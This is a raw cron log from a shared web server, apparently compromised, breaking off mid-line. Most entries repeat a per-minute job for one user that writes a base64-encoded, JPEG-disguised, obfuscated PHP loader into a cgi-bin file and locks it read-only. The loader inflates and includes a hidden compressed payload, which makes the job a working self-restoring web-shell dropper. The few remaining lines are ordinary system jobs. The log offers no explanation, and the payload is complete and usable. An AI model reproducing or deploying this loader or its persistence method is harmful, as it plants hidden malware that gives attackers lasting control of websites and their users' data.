Nov 15 09:11:01 server CROND[26865]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:12:01 server CROND[27129]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 09:12:01 server CROND[27130]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:13:01 server CROND[27383]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:14:01 server CROND[27733]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:15:01 server CROND[28002]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 09:15:01 server CROND[28003]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 09:15:01 server CROND[28004]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:16:01 server CROND[28326]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:17:01 server CROND[28590]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:18:01 server CROND[28841]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:19:01 server CROND[29101]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:20:01 server CROND[29460]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 09:20:01 server CROND[29461]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 09:20:01 server CROND[29463]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 09:20:01 server CROND[29464]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:20:01 server CROND[29462]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 09:21:01 server CROND[29800]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:22:01 server CROND[30058]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:23:01 server CROND[30315]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:24:01 server CROND[30576]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 